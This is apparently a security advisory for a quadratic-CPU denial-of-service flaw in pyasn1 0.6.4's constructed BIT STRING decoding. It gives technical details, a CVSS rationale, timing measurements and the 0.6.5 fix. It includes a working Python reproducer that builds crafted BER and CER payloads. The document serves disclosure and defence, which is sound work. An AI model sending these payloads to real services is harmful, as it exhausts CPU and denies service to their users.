pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding

Summary

In pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during decode(); no conversion or formatting of the decoded value is required.

The BER and CER decoders reach this path for constructed BIT STRING values, with or without an asn1Spec. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a definite-length constructed BIT STRING when given a matching asn1Spec and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form.

This is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in CVE-2026-59885.

Technical details

In the 0.6.4 BitStringPayloadDecoder, both the definite-length and indefinite-length fragment loops call BitString.fromOctetString(..., prepend=bitString) for every fragment. fromOctetString shifts the growing SizedInteger left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs.

In 0.6.4, DER's tag-driven map disables constructed BIT STRING, while its schema-driven type map retains the inherited decoder that permits it. This explains why a schema-less DER rejection is not a negative result for all DER decoding.

Under X.690, a conforming CER constructed BIT STRING uses an indefinite-length outer encoding and primitive fragments with 1000 contents octets except possibly the last. That form reaches the affected indefinite-length loop. DER requires primitive string encoding, although the schema-driven pyasn1 decoder accepts the definite-length constructed example below.

Impact

An application is exposed when untrusted input can reach one of the affected decoder paths and its input limits admit enough fragments. The work occupies the decoding thread or worker and may cause denial of service. Whether the input is network-accessible or unauthenticated depends on the calling application. This advisory makes no claim that every application using pyasn1, or any particular protocol implementation, accepts such input.

Severity assessment (CVSS v3.1)

The 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER values trigger the issue without special conditions, privileges, or user interaction. Repeated crafted values could occupy a finite decoder-worker pool and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not claim that every application is network-exposed or fully unavailable; deployment-specific input limits and architecture may change the score. See FIRST's library-scoring guidance.

Reproducer

The definite-length example below is valid BER. It is deliberately not a conforming CER or DER encoding. The second constructor uses conforming CER fragment sizing and framing. CPU times are machine-dependent; run the larger cases only in a local test environment.

import time

from pyasn1.codec.ber import decoder as ber_decoder
from pyasn1.codec.cer import decoder as cer_decoder
from pyasn1.codec.der import decoder as der_decoder
from pyasn1.error import PyAsn1Error
from pyasn1.type import univ


def encode_length(size):
    octets = size.to_bytes((size.bit_length() + 7) // 8, "big")
    return bytes((0x80 | len(octets),)) + octets


def definite_fragments(count):
    body = b"\x03\x02\x00\xa5" * count  # one data octet per BIT STRING fragment
    return b"\x23" + encode_length(len(body)) + body


def cer_fragments(count):
    # Each primitive fragment has 1000 contents octets: one unused-bits
    # octet (zero) followed by 999 data octets.
    fragment = b"\x03" + encode_length(1000) + b"\x00" + b"\xa5" * 999
    return b"\x23\x80" + fragment * count + b"\x00\x00"


def measure(label, decode, payload, **options):
    start = time.process_time()
    value, remainder = decode(payload, **options)
    print(label, len(payload), f"{time.process_time() - start:.3f}s CPU")
    assert not remainder and len(value) > 0


for count in (50_000, 100_000, 200_000):
    measure(f"BER {count} fragments", ber_decoder.decode,
            definite_fragments(count))

for count in (1_000, 2_000, 4_000):
    measure(f"CER {count} fragments", cer_decoder.decode,
            cer_fragments(count))

sample = definite_fragments(1_000)
measure("DER with BIT STRING schema", der_decoder.decode, sample,
        asn1Spec=univ.BitString())
try:
    der_decoder.decode(sample)
except PyAsn1Error:
    print("DER without schema rejects the constructed value")
else:
    raise AssertionError("DER unexpectedly accepted schema-less input")

Verification

Local measurements of the official v0.6.4 tag on CPython 3.14.8 used time.process_time(). A local 0.6.5 candidate containing the fix was timed on the same machine. Times are illustrative, not a guaranteed cost on other systems.

Input	Size	v0.6.4 CPU	0.6.5 candidate CPU
BER definite, 50,000 fragments	0.20 MB	0.530 s	0.084 s
BER definite, 100,000 fragments	0.40 MB	1.915 s	0.170 s
BER definite, 200,000 fragments	0.80 MB	7.392 s	0.344 s
Conforming CER, 1,000 fragments	1.004 MB	0.163 s	0.0035 s
Conforming CER, 2,000 fragments	2.008 MB	0.657 s	0.0070 s
Conforming CER, 4,000 fragments	4.016 MB	2.582 s	0.0144 s

The definite BER input with 100,000 fragments also decoded through DER with asn1Spec=univ.BitString() in 1.949 s on v0.6.4, versus 0.172 s with the 0.6.5 candidate. Schema-less DER rejected the same input. Independent reports reproduced the old behavior on v0.6.4: one measured 21.1 s for a 1.28 MB definite-length value; another measured 7.25 s for a 0.8 MB value versus 2.8 ms for a primitive BIT STRING carrying the same data volume. These measurements were taken on different systems and should not be compared as a single benchmark series.

Resolution

Upgrade to pyasn1 0.6.5. The decoder assembles fragment bits in a bytearray, preserves decoded bit values including intermediate-fragment padding, and converts the complete payload to a BIT STRING once. This removes the repeated shift of the growing integer in both constructed decoding loops.

For applications that cannot upgrade immediately, enforce an application-appropriate limit on untrusted ASN.1 input size before passing it to pyasn1. Such a limit bounds exposure but does not change the quadratic behavior of 0.6.4. Where a protocol forbids constructed BIT STRING, rejecting that encoding before decoding also prevents this path.